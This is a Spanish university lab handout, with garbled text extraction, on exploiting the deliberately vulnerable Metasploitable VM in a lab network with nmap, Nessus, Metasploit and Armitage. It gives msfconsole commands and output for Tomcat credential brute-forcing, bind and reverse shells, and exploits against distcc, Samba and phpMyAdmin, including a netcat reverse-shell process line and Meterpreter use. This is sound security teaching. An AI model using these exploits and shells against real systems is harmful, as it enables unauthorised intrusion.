Sunteți pe pagina 1din 13

Explotacion de vulnerabilidades: uso basico de Mestasploit

SSI 2013/14
21 de octubre de 2013

Indice
1. Entorno de pruebas

1.1. Im
agenes a utilizar . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
2. Ejercicio 1: Enumeraci
on de equipos y servicios y detecci
on de vulnerabilidades

1
2

2.1. Descripci
on . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

2.2. Enumeraci
on con NMAP . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

2.3. Escaneo de vulnerabilidades con NESSUS . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

3. Ejercicio 2: Explotaci
on de vulnerabilidades con Metasploit

3.1. Descripci
on . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

3.1.1. Arquitectura de Metasploit . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

3.1.2. Interfaces de usuario . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

3.1.3. Comandos de msfconsole . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

3.2. Uso de msfconsole . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

3.2.1. Escaneo e identificaci


on de equipos y servicios . . . . . . . . . . . . . . . . . . . . . . . . . . . .

3.2.2. Uso de m
odulos . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

3.2.3. Explotaci
on de Tomcat . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

3.3. Uso del interfaz gr


afico armitage . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

3.3.1. Inicio y uso b


asico . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

10

3.3.2. Explotar el servicio distcc (compilacion distribuida) . . . . . . . . . . . . . . . . . . . . . . . .

10

3.3.3. Tarea: explotar el servicio SMB (samba) . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

11

3.3.4. Explotar una versi


on vulnerable de phpMyAdmin + uso de Meterpreter . . . . . . . . . . . . .

12

3.3.5. Tarea: explotar la aplicaci


on web TikiWiki . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

13

3.4. Documentaci
on a entregar . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

13

1.
1.1.

Entorno de pruebas
Im
agenes a utilizar

Im
agenes de partida

1. Script de instalaci
on: ejercicio-metasploit.sh
2. Ejecutar desde el directorio de descarga
alumno@pc:~$ bash ejercicio-metasploit.sh
3. El script descargar
a las siguientes im
agenes en el directorio $HOME/SSI1314
atacante.vdi: Imagen VirtualBox de la maquina con el framework Metasploit y otras herramientas complementarias.
Usuarios configurados.
login
password
root
purple
usuario1 usuario1
usuario2 usuario2
metasploitable.vdi: Imagen VirtualBox de la maquina vulnerable Metasploitable (se corresponde con
la versi
on 1.0 de esta m
aquina junto con algunos a
nadidos)
M
as informaci
on (de Mestasploitable2): Metasploitable 2 Exploitability Guide
swap.vdi: Imagen VirtualBox de una unidad de disco formateada como SWAP
4. Se pedir
a un identificador (sin esapcios) para poder reutilizar las versiones personalidas de las imagenes creadas
5. Arrancar las instancias VirtualBOX (si no lo hacen desde el script anterior) desde el interfaz grafico o desde
la lnea de comandos.
VBoxManage startvm ATACANTE-<id>
VBoxManage startvm METASPLOITABLE-<id>
Importante: Despues de finalizar cada ejercicio terminar la ejecucion de la maquina virtual desde lnea de
comandos con halt o sudo halt o desde el interfaz grafico LXDE.

2.

2.1.

Ejercicio 1: Enumeraci
on de equipos y servicios y detecci
on de vulnerabilidades
Descripci
on

En este primer ejercicio veremos dos herramientas que pueden ser utilizadas en las etapas iniciales de un test de
intrusi
on (exploraci
on y enumeraci
on). Se trata del escaner de puertos NMAP y del escaner de vulnerabilidades
NESSUS.
1. NMAP es un escaner de puertos con capacidad de identificacion de servicios y sistemas operativos, tambien posee
funcionalidades de evasi
on y ocultaci
on del escaneo.
http://www.nmap.org
http://es.wikipedia.org/wiki/Nmap
2. NESSUS es un escaner de vulnerabilidades basado en plugins. Estos plugins realizan comprobaciones y simulan intentos de ataque tratando de aprovechar vulnerabilidades. NESSUS distribuye una coleccion de plugins
bajo registro sin coste para uso no comercial (Home Feed ) y una coleccion profesional mas actualizada bajo
subscripci
on de pago (Professional Feed ).
http://www.nessus.org
http://en.wikipedia.org/wiki/Nessus (software)
Nota: Aunque inicialmente NESSUS era un proyecto de codigo abierto, en la actualidad tiene una licencia
privativa.
El proyecto libre OpenVAS continu
o evolucionando el codigo de antigua version Open Source de NESSUS y
ofrece funcionalidades similares.
2

2.2.

Enumeraci
on con NMAP

Desde la m
aquina ATACANTE
1. Acceder como root (con password purple) y arrancar las X
atacante:~# startx

2. Abrir un terminal y lanzar un escaneo de equipos sobre la red actual (Ping Scan) para determinar que m
aquinas
est
an conectadas en el segmento de red.
atacante:~# nmap -sP 192.168.100.0/24

Nos informar
a de que hay 2 equipos en la red: la maquna ATACANTE (con direccion IP 192.168.100.111) y la
m
aquina METASPLOITABLE (con direccion IP 192.168.100.222)
3. Lanzar un escaneo de servicios sobre el equipo METASPLOITABLE
atacante:~# nmap -sX nmap.xml -O -sV 192.168.100.222 -p1-65535

Descripci
on de las opciones
-sX nmap.xml especifica el nombre del fichero donde se volcara la salida del escaneo en el formato XML de
NMAP
-O Habilita la identificaci
on del Sistema Operativo de la maquina escaneada
-sV Habilita la identificaci
on de los servicios a la escucha en los puertos descubiertos en la maquina escaneada
192.168.100.222 Direcci
on IP del destino del escaneo
-p1-65535 Rango de puertos a escanear
Resultados obtenidos
Starting Nmap 5.00 ( http://nmap.org ) at 2012-01-30 00:35 CET
Interesting ports on metasploitable.ssi.net (192.168.100.222):
Not shown: 988 closed ports
PORT
STATE SERVICE
VERSION
21/tcp
open ftp
ProFTPD 1.3.1
22/tcp
open ssh
OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp
open telnet
Linux telnetd
25/tcp
open smtp
Exim smtpd 4.69
53/tcp
open domain
ISC BIND 9.4.2
80/tcp
open http
Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.10 with Suhosin-Patch)
139/tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
3306/tcp open mysql
MySQL (Host blocked because of too many connections)
5432/tcp open postgresql PostgreSQL DB
8009/tcp open ajp13?
8080/tcp open http
Apache Tomcat/Coyote JSP engine 1.1
MAC Address: 08:00:27:22:22:22 (Cadmus Computer Systems)
Device type: general purpose|remote management|firewall|WAP|broadband router
Running (JUST GUESSING) : Linux 2.6.X|2.4.X (98%)...

Nota: Este tipo de escaneo con identificaci


on de servicios es relativamente ruidoso y facilmente detectable por
los firewalls o detectores de intrusiones que puedan estar instalados en la red escaneada.

2.3.

Escaneo de vulnerabilidades con NESSUS

1. Abrir en un navegador web la URL https:


localhost:8834
Acceder con las credenciales Login: usuario1, Password: usuario1
AVISO: no funciona bien el bot
on de vuelta atras :-(
2. En la secci
on Policies se definen y configuran las polticas de escaneo
Hay creada una poltica privada Metasploitable donde se han seleccionado una serie de plugins relacionados con los servicios identificados por NMAP.
Seleccion
andola y pinchando en Edit se puede revisar y modificar.
En la pesta
na Plugins se pueden ver los plugins seleccionados
Se pueden seleccionar de la lista (agrupados por categoras) o emplear un filtro por su nombre o ID.
Por ejemplo Filer->Name : tomcat [Reset Filter] muestra los plugins relacionados con el servidor
Tomcat, est
an seleccionados los relativos a la version 5.5
En concreto veremos: Web Servers -> 34970 Apache Tomcat Manager Common Administrative Credentials
El c
odigo de los plugins est
a disponibles en /opt/nessus/lib/nessus/plugins
Son scripts escritos en el lenguaje NASL (Nessus Attack Scripting Language) que realizan distintos tipos
de comprobaciones (versiones de servicios, opciones/comandos disponibles, configuracion) y/o simulan un
intento de ataque que tratara de aprovechar una vulnerabilidad concreta.
atacante:~/# less /opt/nessus/lib/nessus/plugins/tomcat_manager_common_creds.nasl

3. En la secci
on Scans se definen los escaneos de vulnerabilidades y se programa su ejecucion.
Con Add se crea un nuevo escaneo, se le asigna un nombre, se programa su incio (Run Now ), una poltica
(Metasploitable) y una lista de objetivos (192.168.100.222) y se lanza ([Launch Scan])
Una vez finalizado, aparecer
a su resultado en la pesta
na Reports
Se puede visualizar (Browse) y en exportar en diversos formatos (veremos que Metasploit puede importar
el resultado de escaneos de vulnerabilidades en formato nessus)
Ejemplos: (sobre el informe del escaneo Escaneo Metasploit ya realizado)
El resultado de este escaneo ya est
a exportado en el fichero /root/nessus_report_Escaneo_Metasploit.nessus

Escaneo Metasploit -> High -> 8080 (High 1) -> 34970 Apache Tomcat Manager Common Administrat
Informa del uso de contrase
nas por defecto en la herramienta web de administracion de Tomcat.
Escaneo Metasploit -> High -> 22 (High 2) -> 32314 Debian OpenSSH/OpenSSL Package Random Nu
Informa de que las claves de servidor SSH fueron generadas con una version de openSSL sobre Debian/Ubuntu con un bug en el generador de n
umeros aleatorios.

3.
3.1.

Ejercicio 2: Explotaci
on de vulnerabilidades con Metasploit
Descripci
on

En este ejercicio veremos el uso del Framework Metasploit en tareas de explotacion de vulnerabilidades y acceso a
equipos comprometidos.
Metasploit es un Framework multiplataforma escrito en Ruby que abstrae las tareas tpicas de una intrusion, ofreciendo
un esquema modular donde combinar e integrar distintos tipos de exploits y herramientas de acceso y control de equipos
y servicios comprometidos. Incluye tambien m
odulos adicionales para las fases de rastreo y enumeracion, adem
as de
poder integrar la informaci
on proporcionada por otras herramientas como NMAP, NESSUS, OpenVAS, etc.

3.1.1.

Arquitectura de Metasploit

Metasploit sigue un arquitectura modular, organizada alrededor de un n


ucleo que estructura la aplicacion y ofrece las
funcionalidades b
asicas.
exploits Piezas de c
odigo que explotan una vulnerabilidad concreta que permite un acceso no previsto. Suelen ser
especficas del sistema operativo y de la version concreta del servicio, aunque hay algunos exploits independientes
de la plataforma.
Su uso principal es como vector para la inyeccion de un payload especfico que ofrezca al atacante alg
un tipo
de acceso y/o control del equipo compometido.
payloads Piezas de c
odigo que permiten alg
un tipo de acceso o control sobre un equipo que ha sido comprometido
mediante la explotaci
on de alguna vulnerabilidad. Suelen ser especficos del sistema operativo, aunque algunos
basados en Java o lenguajes de Script son independientes de la plataforma.
Uno de los payloads m
as potentes que ofrece Metasploit es Meterpreter. Se trata de un payload que ofrece un
interprete de comandos en el sistema comprometido, complementado con una serie de comandos especficos que
soportan tareas tpicas de una intrusi
on (recopilacion de informacion del sistema comprometidos, keylogger,
ocultaci
on de rastros, etc).
Explicaci
on de algunas funcionalidades de Meterpreter: comandos Meterpreter, tabla resumen [pdf]
auxiliary M
odulos auxiliares que automatizan tareas complementarias empleadas habitualmente en test de intrusi
on.
Fundamentalmente se trata de diversos tipos de escaners: escaner de puertos genericos o escaneres especifcos
para aplicaciones/servicios concretos. Tambien se proveen modulos para recopilar credenciales de acceso basados
en diccionarios o romper contrase
nas, enumeradores de directorios, herramientas para recopilacion de informaci
on de red y una colecci
on de fuzzers que generan cadenas de entrada aletorias con las que detectar posibles
vulnerabilides en la validaci
on de entradas.
post Piezas de c
odigo especficas de cada arquitectura o aplicacion que automatizan tareas relativas al mantenimiento, extensi
on y/o ocultaci
on del acceso a equipos comprometidos. Fundamentalmente ofrecen funcionalidades
para recopilar informaci
on del sistema comprometidos (servicios, usuarios, fichero, ...), para escalar privilegios
obteniendo credenciales de administrador o para ocultar el rasto de la explotacion.
nops M
odulos complementarios usados para generar distintos tipos de codigos NOP (No operation) para diferentes
arquitecturas y CPUs a utilizar en el c
odigo de los exploits y sus respectivos payloads.
encoders M
odulos complementarios utilizados para ofuscar y ocultar el codigo de los exploits y sus respectivos
payloads empleando diversos tipos de codificacion. Son un mecanismo de evasion para evitar la detecci
on del
ataque por parte de IDS (sistemas de deteccion de intrusiones) o antivirus.
M
as informaci
on en http://www.metasploit.com y http://en.wikipedia.org/wiki/Metasploit Project.
Consulta e informaci
on sobre los m
odulos disponibles: http://metasploit.com/modules
Detalles: curso on-line sobre metasploit
3.1.2.

Interfaces de usuario

Sobre el Framework Metasploit se han desarrollado distintos tipos de interfaces de usuario, bien como parte del n
ucleo
del propio framework o como proyectos independientes.
msfconsole Consola en modo texto de Metasploit, es el interfaz mas usado y ofrece acceso a la totalidad de funcionalidades del framework.
msfcli Expone las funcionalidades del framework para acceder a ellas desde lnea de comandos y shell scripts.
msfweb Expone las funcionalidades del framework mediante un interfaz web
msfrpc/msfrpcd Expone las funcionalidades del framework para acceder a ellas mediante un mecanismo de RPC
(remote procedure call )
5

msfgui Interfaz gr
afico basado en Java Swing. Accede a las funcionalidades del framework usando msfrpcd.
Armitage Interfaz gr
afico basado en Java Swing. Es un proycto independiente con mejoras respecto a msfgui, mucho
m
as amigable, con mejor usabilidad, con asistencia al usuario y automatizacion de determinadas tareas. Accede
a las funcionalidades del framework usando msfrpcd.
otros
msfpayload/msfencode permiten crear (y codificar) payloads desde lnea de comandos. Se usa para generar
ficheros con payloads a desplegar/ejecutar directamente en las vctimas.
msfupdate actualiza mediante svn (subversion) los modulos del framework a la u
ltima version disponible.
3.1.3.

Comandos de msfconsole

Ver resumen en Msfconsole Commands

3.2.

Uso de msfconsole

Desde la m
aquina ATACANTE: iniciar un terminal y arrancar msfconsole
atacante:~# msfconsole

Muestra un banner e informaci


on de la versi
on del framework, u
ltima actualizacion y n
umero de modulos disponibles.
3.2.1.

Escaneo e identificaci
on de equipos y servicios

Metasploit puede configurarse para utilizar una base de datos donde guardar informacion de los equipos localizados, sus
servicios y vulnerabilidades, junto con informaci
on adicional como notas y eventos. Esa informacion puede generarla
el propio Metasploit a partir de sus m
odulos Auxiliary o cargarla a partir de herramientas externas.
1. Lanzar un escaneo de puertos sobre el segmento de red con NMAP y almacenar los resultados
msf > db_nmap 192.168.100.0/24

2. Comprobar los datos capturados.


msf > hosts
msf > services
msf > vulns

Se puede recuperar, editar o eliminar informacion de un host o servicio especfico (ver hosts -h o services -h)
3.2.2.

Uso de m
odulos

1. Buscar posibles m
odulos (exploits, etc) a utilizar sobre los servicios identificados en la maquina vctima.
Posibles exploits contra el servidor FTP ProFTPD.
msf > search proftpd

Ninguno de los exploits disponibles es apto para la version de ProFTPD instalada.


Posibles exploits contra el servidor Apache Tomcat
msf > search tomcat

Se puede utilizar el exploit multi/http/tomcat_mgr_deploy

3.2.3.

Explotaci
on de Tomcat

1. Seleccionamos el exploit y vemos su descripcion y opciones.


msf > use exploit/multi/http/tomcat_mgr_deploy
msf exploit(tomcat_mgr_deploy) > info

Debemos especificar un USERNAME y un PASSWORD, podremos intentar obtenerlos con un modulo auxiliar
que prueba un diccionario de pares usuario+clave usando feurza bruta.
2. Extracci
on de credenciales Tomcat (m
odulo auxiliar auxiliary/scanner/http/tomcat_mgr_login)
msf > use auxiliary/scanner/http/tomcat_mgr_login
msf auxiliary(tomcat_mgr_login) > info

Debemos especificar la m
aquina objetivo (RHOSTS: 192.168.100.222), el puerto (RPORT:8080), la URI de la
aplicaci
on de gestion de Tomcat (URI) y los ficheros con los nombres de usuario y las contrase
nas a probar
(USER FILE, PASS FILE).
Bastar
a con especificar el valor de RHOST y RPORT, con el resto de parametros se usaran los valores por
defecto
Desde otro terminal se pueden ver/editar los diccionarios con valores para USER y PASS.
atacante:~# less /opt/metasploit-4.1.4/msf3/data/wordlists/tomcat_mgr_default_users.txt
atacante:~# less /opt/metasploit-4.1.4/msf3/data/wordlists/tomcat_mgr_default_pass.txt
msf auxiliary(tomcat_mgr_login) > set RHOSTS 192.168.100.222
RHOSTS => 192.168.100.222
msf auxiliary(tomcat_mgr_login) > run
[*]
[-]
...
[*]
[+]
...
[*]
[-]
[*]
[*]

192.168.100.222:8080 TOMCAT_MGR - [01/50] - Trying username:admin with password:


192.168.100.222:8080 TOMCAT_MGR - [01/50] - /manager/html [Apache-Coyote/1.1] [Tomcat Application Manager] fa

192.168.100.222:8080 TOMCAT_MGR - [16/50] - Trying username:tomcat with password:tomcat


http://192.168.100.222:8080/manager/html [Apache-Coyote/1.1] [Tomcat Application Manager] successful login t

192.168.100.222:8080 TOMCAT_MGR - [46/50] - Trying username:both with password:tomcat


192.168.100.222:8080 TOMCAT_MGR - [46/50] - /manager/html [Apache-Coyote/1.1] [Tomcat Application Manager] fa
Scanned 1 of 1 hosts (100% complete)
Auxiliary module execution completed

Nos informa que se puede acceder a la web de administracion de Tomcat con las credenciales tomcat/tomcat
3. Configuraci
on y uso del exploit exploit/multi/http/tomcat_mgr_deploy
msf
msf

auxiliary(tomcat_mgr_login) > use exploit/multi/http/tomcat_mgr_deploy


exploit(tomcat_mgr_deploy) > info

Debemos especificar la m
aquina objetivo (RHOST), el puerto (RPORT), el path a la aplicacion de gestion de
Tomcat (PATH) y el nombre de usuario (USERNAME) y la contrase
na (PASSWORD).
msf
msf
msf
msf

exploit(tomcat_mgr_deploy)
exploit(tomcat_mgr_deploy)
exploit(tomcat_mgr_deploy)
exploit(tomcat_mgr_deploy)

>
>
>
>

set
set
set
set

RHOST 192.168.100.222
RPORT 8080
USERNAME tomcat
PASSWORD tomcat

Funcionamiento: El exploit crear


a un fichero WAR con una aplicacion web Java maliciosa cuya u
nica misi
on
ser
a la de poner en ejecuci
on dentro de la maquina vctima el PAYLOAD que especifiquemos.
Usando la aplicaci
on de administraci
on se desplegara ese WAR en el servidor Tomcat.
El exploit acceder
a a la URL correspondiente para invocar dicho servlet y poner en ejecucion su PAYLOAD
7

Finalmente, el exploit deshar


a el despliegue realizado.
En este ejemplo se usar
a el PAYLOAD java/shell/bind_tcp
Este PAYLOAD lanza un interprete de comandos en la vctima (/bin/sh en este caso) y redirige su E/S a
un puerto TCP de dicha vctima.
El exploit abre una sesi
on hacia ese puerto de la vctima, obteniendose una shell en el equipo comprometido
accesible desde el atacante.
Nota: con set PAYLOAD <tab> se muestra la lista de PAYLOADs admitidos por el exploit actual.
msf
msf

exploit(tomcat_mgr_deploy) > set PAYLOAD java/shell/bind_tcp


exploit(tomcat_mgr_deploy) > show options

Este PAYLOAD tiene sus propias opciones, exige que indiquemos la maquina vctima (RHOST) y el puerto de
escucha en dicha vctima (LPORT)
msf
msf

exploit(tomcat_mgr_deploy) > set LPORT 11111


exploit(tomcat_mgr_deploy) > show options

Al lanzar el exploit se abrir


a una sesi
on en la maquina vctima.
msf
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]

exploit(tomcat_mgr_deploy) > exploit


Started bind handler
Attempting to automatically select a target...
Automatically selected target "Linux x86"
Uploading 6213 bytes as nZAPfHCskfkmDVB.war ...
Executing /nZAPfHCskfkmDVB/97PNxj.jsp...
Undeploying nZAPfHCskfkmDVB ...
Sending stage (2439 bytes) to 192.168.100.222
Command shell session 1 opened (192.168.100.111:54658 -> 192.168.100.222:11111) at 2012-01-31 02:19:45 +0100

ls -l
total 76
drwxr-xr-x 2 root root 4096 2010-03-16 19:11
drwxr-xr-x 4 root root 4096 2011-12-10 10:31
...
lrwxrwxrwx 1 root root
30 2011-12-10 09:31
uname -a
Linux metasploitable.ssi.net 2.6.24-30-virtual
...

bin
boot
vmlinuz -> boot/vmlinuz-2.6.24-30-virtual
#1 SMP Mon Nov 28 20:50:52 UTC 2011 i686 GNU/Linux

En la vctima podemos comprobar que hay un nuevo proceso /bin/sh propiedad del usuario tomcat55 y sin
terminal asociado.
metasploitable:~$ ps -aux | grep sh

Podemos comprobar que la conexi


on est
a efectivamente establecida, lanzando el comando netstat -tn en ambos
equipos.
atacante:~# netstat -tn
Active Internet connections (w/o servers)
Proto Recv-Q Send-Q Local Address
...
tcp
0
0 192.168.100.111:43550
...
metasploitable:~$ netstat -tn
Active Internet connections (w/o servers)
Proto Recv-Q Send-Q Local Address
tcp
0
0 192.168.100.222:11111

Foreign Address

State

192.168.100.222:11111

ESTABLISHED

Foreign Address
192.168.100.111:43550

State
ESTABLISHED

Nota: las sesiones se finalizan con CONTROL+C


4. Uso de un PAYLOAD alternativo
Otro posible exploit sera java/shell/reverse_tcp con un comportamiento inverso a la hora de las conexiones.
En este caso ser
a el PAYLOAD en ejecuci
on en la vctima quien se conectara a un puerto local de la m
aquina
atacante (o de la m
aquina que le indiquemos).
msf
msf
msf
msf
msf

exploit(tomcat_mgr_deploy)
exploit(tomcat_mgr_deploy)
exploit(tomcat_mgr_deploy)
exploit(tomcat_mgr_deploy)
exploit(tomcat_mgr_deploy)

>
>
>
>
>

set PAYLOAD java/shell/reverse_tcp


show options
set LHOST 192.168.100.111
set LPORT 22222
exploit

Debemos especificar la direcci


on (LHOST) y el puerto (LPORT) a donde debe conectarse el PAYLOAD.
atacante:~# netstat -tn
Active Internet connections (w/o servers)
Proto Recv-Q Send-Q Local Address
...
tcp
0
0 192.168.100.111:22222
metasploitable:~$ netstat -tn
Active Internet connections (w/o servers)
Proto Recv-Q Send-Q Local Address
tcp
0
0 192.168.100.222:57091

Foreign Address

State

192.168.100.222:57091

ESTABLISHED

Foreign Address
1192.168.100.111:22222

State
ESTABLISHED

5. Inspecci
on del c
odigo del exploit y del PAYLOAD
Se puede ver el c
odigo Ruby con la implementacion del exploit y del PAYLOAD
atacante:~# less /opt/metasploit-4.1.4/msf3/modules/exploits/multi/http/tomcat_mgr_deploy.rb
< ver funci
on exploit >
atacante:~# less /opt/metasploit-4.1.4/msf3/modules/payloads/stagers/java/bind_tcp.rb
atacante:~# less /opt/metasploit-4.1.4/msf3/modules/payloads/stages/java/shell.rb
atacante:~# less /opt/metasploit-4.1.4/msf3/lib/msf/core/payload/java.rb

Tambien est
a disponible el c
odigo Java inyectado por el exploit responsable de crear el interprete de comandos
y ponerse a la escucha. (ver http://schierlm.users.sourceforge.net/JavaPayload/)
atacante:~# less /opt/metasploit-4.1.4/msf3/external/source/javapayload/src/javapayload/stage/Shell.java
atacante:~# less /opt/metasploit-4.1.4/msf3/external/source/javapayload/src/metasploit/Payload.java
atacante:~# less /opt/metasploit-4.1.4/msf3/external/source/javapayload/src/metasploit/PayloadServlet.java

Tamien se puede ver el aspecto que tendra un fichero WAR con el PAYLOAD seleccionado (no es exactamente
el que desplegar
a el exploit anterior)
atacante:~# msfpayload java/shell/bind_tcp LPORT=33333 RHOST=192.168.100.222 W > /tmp/ejemplo.war
atacante:~# cd /tmp
atacante:/tmp# jar xvf ejemplo.war
atacante:/tmp# less WEB-INF/web.xml
atacante:/tmp# ls -l WEB-INF/classes/metasploit/*

3.3.

Uso del interfaz gr


afico armitage

Armitage es un interfaz gr
afico alternativo para Metasploit que pretende simplificar el uso del framework. Hace uso
del servidor RPC integrado en el framework (msfrpcd) para acceder a las funcionalidades que ofrece Metasploit.
Mejora el interfaz (visualizaci
on de hosts, acceso simplificado a los modulos y a su informacion y opciones, etc)
Automatiza ciertas tareas, como el emparejamiento entre hosts y servicios y entre servicios y exploits aplicables.
Simplifica la configuraci
on de exploits y payloads.
Permite la gesti
on y coordinaci
on de multiples sesiones abiertas en las vcitmas
9

3.3.1.

Inicio y uso b
asico

Desde un terminal de la m
aquina ATACANTE, arrancar Armitage
atacante:~# armitage &

Al inciarse la aplicaci
on se nos piden los datos para conectarse al servidor RPC del framework Metasploit (msfrpcd).
Si dicho servidor estuviera en ejecuci
on deberan de especificarse los correspondientes datos.
En caso contrario bastar
a con pinchar en Connect de todos modos y el propio Armitage nos pedira autorizaci
on
para arrancar una nueva instancia del servidor RPC (pinchar en yes). Nota: Mientras el servidor se inicia,
Armitage puede informar de errores de conexion.
Cuando el RPC este listo se inciar
a por s mismo el interfaz grafico.
En la secci
on de Hosts de Armitage se muestran iconos para los equipos registrados en la base de datos de Metasploit.
En nuestro caso aparece el host que habamos identificado anteriormente con db_nmap al incio del ejercicio. De ser
necesario podran lanzarse nuevos escaneos desde Armitage [[Men
u Hosts] -> Import / NmapScan / etc ])
Vincular posibles ataques a un host vctima Armitage ofrece la funcionalidad de cruzar la informaci
on sobre
servicios de un hosts con la informaci
on de los exploits para vincular a una maquina una lista de los potenciales
ataques.
Seleccionar el host (192.168.100.222)
Sobre el men
u seleccionar [Men
u Attack] -> Find Attacks
Armitage comprueba que exploits son compatibles con cada uno de los servicios vinculados al host seleccionado (no va mucho m
as all
a que comprobar nombres de servicio y versiones)
Es frecuente que la mayora de los ataques/exploits propuestos no sean aplicables (falsos positivos)
Una vez completada la vinculaci
on se a
nade al icono del hosts un submen
u contextual Attacks con la lista de
posibles ataques.
La opci
on [Men
u Attack] -> HailMary va un paso mas alla.
Adem
as de cruzar servicios y exploits para determinales cuales podran ser usados este comando intenta explotarlos.
Los exploits potenciales son lanzados uno a uno usando sus opciones por defecto.
En los casos donde el exploit tiene exito se crea una sesion con la vctima.
Nota: en la mayora de los casos las opciones por defecto que usara Hail Mary no son las adecuadas y la explotaci
on
no tendr
a exito.
Suele ser necesario fijar opciones adecuadas y comprobar los exploit manualmente.
3.3.2.

Explotar el servicio distcc (compilaci


on distribuida)

DistCC es un servicio que coordina la compilaci


on distribuida de programas (ver http://en.wikipedia.org/wiki/Distcc).
Mestasploitable incluye una versi
on vulnerable de este servidor.
1. Sobre el host (192.168.100.222) seleccionar este ataque: [bot
on derecho] -> Attacks -> misc -> distcc_exec
2. Se abre un di
alogo donde ser muestra la descripcion del exploit (exploit/unix/misc/distcc_exec) y se permite
configurar sus par
ametros y los posibles PAYLOADS (en caso de que el exploit admita diversos tipos)
10

3. Para este ejemplo los par


ametros fijados por Armitage son correctos.
En este caso se usar
a un PAYLOAD generic/shell_bind_tcp
4. El exploit+payload se lanza con el bot
on [Launch]
Nota: En la consola se muestra la secuencia de acciones equivalentes en msfconsole
Si el ataque tuvo exito se modifica el icono del host y se a
nadira un un submen
u contextual Shell #
Desde este submen
u (dependiendo del tipo de PAYLOAD) se podra acceder a una secion interactiva (Interact),
o subir archivos al equipo comprometido.
ejecutar m
odulos de POST EXPLOTACION
En la vctima se puede comprobar que hay un proceso extra
no en ejecucion.
metasploitable:~# ps -aux | less
metasploitable:~# pstree -aclu | less

Hacia el final de la lista se muestra un proceso Perl, propiedad del usaurio daemon, que ejecuta un script perl de
una lnea (opci
on -e one line script).
Ese script es el c
odigo insertado por el exploit y lo que hace es abrir un socket hacia el puerto indicado en la
m
aquina atacante y ejecutar con la funci
on Perl system() lo que se reciba a traves de ese socket.
Accediendo a la opci
on Post modules del men
u contextual vinculado a la sesion con la vcitma se muestran en el
rbol izquierdo la lista de m
a
odulos de post explotacion admitidos por el PAYLOAD actual.
Para invocarlos basta hacer doble click sobre ellos, rellenar las opciones perminentes y lanzarlo.
En cada uno de esos m
odulos debemos indicar en la opcion SESSION el no de sesion (o no de shell) vinculado a
la conexi
on obtenida por el exploit correspondiente.
Probar enum_linux, enum_services [para verlos ir a Men
u view -> loot], etc)
3.3.3.

Tarea: explotar el servicio SMB (samba)

Repitiendo las acciones del ejemplo anterior se puede aprovechar una vulnerabilidad en el servidor Samba de Metasploitable para ganar acceso a la m
aquina comprometida.
1. Sobre el host (192.168.100.222) [bot
on derecho] -> Attacks -> samba -> usermap_script
2. Se usar
a el exploit exploit/multi/samba/usermap_script
Si en la vctima se comprueban los procesos en ejecucion, de nuevo saldran cosas extra
nas.
metasploitable:~# ps -aux | less
metasploitable:~# pstree -aclu | less

En este caso veremos que el exploit a inyectado un comando de shell que haciendo uso de la herramienta nc/netcat
redirecciona la E/S de un interprete de comandos sobre un puerto de la maquina atacante.
USER
root
...
root
...

PID %CPU %MEM


1 0.0 1.3
4915

0.0

0.3

VSZ
2848

RSS TTY
1688 ?

1776

484 ?

STAT START
Ss
19:23

TIME COMMAND
0:00 /sbin/init

0:00 sh -c /etc/samba/scripts/mapusers.sh "/=nohup nc 192

19:49

11

3.3.4.

Explotar una versi


on vulnerable de phpMyAdmin + uso de Meterpreter

En la vctima se ha instalado una versi


on antigua (y vulnerable) de phpMyAdmin
Se puede comprobar en la URL http://192.168.100.222/phpMyAdmin
Pasos a seguir:
1. Sobre el host (192.168.100.222) [bot
on derecho] -> Attacks -> webapp -> phpmyadmin_config
Se usar
a el exploit exploit/unix/webapp/phpmyadmin_config.
Se puede comprobar que la versi
on de phpMyAdmin instalada en Metasploitable es compatible con este exploit.
2. Asegurar que la opci
on URI es exactamente /phpMyAdmin/ (el exploit es sensible a may
usculas/min
usculas)
3. Lanzar el exploit con el PAYLOAD por defecto.
Uso de Meterpreter

Lanzaremos de nuevo el exploit con un PAYLOAD mas sofisticado. Usaremos un PAYLOAD (payload/php/meterpreter/bind_t
que carga la herramienta Meterpreter en la vctima (en este caso el codigo inyectado por el PAYLOAD es PHP)
Meterpreter es un PAYLOAD con funcionalidades adicionales pensadas para simplificar las tareas de explotaci
on,
post explotaci
on y escalada de privilegios.
Inicialmente fue desarrollado para vctimas MS Windows, aunque existen variantes para otras arquitecturas,
aunque no con todas las funcionalidades.
Pasos a seguir:
1. Cerrar (disconnect) la sesi
on arrancada actualmente.

2. Sobre la pesta
na exploit de la consola de Armitage vinculada al ataque con exploit/unix/webapp/phpmyadmin_config
cambiar el PAYLOAD y lanzar de nuevo el exploit manualmente.
msf exploit(phpmyadmin_config) > set PAYLOAD php/meterpreter/bind_tcp
msf exploit(phpmyadmin_config) > show options
msf exploit(phpmyadmin_config) > exploit

3. Se abre un men
u contextual nuevo sobre el icono del host atacado, etiquetado como Meterpreter # con las
opciones concretas de este PAYLOAD.
En la opci
on Interact se abre un shell de Meterpreter con un conjunto de comandos especficos para tareas
de post explotaci
on
En la opci
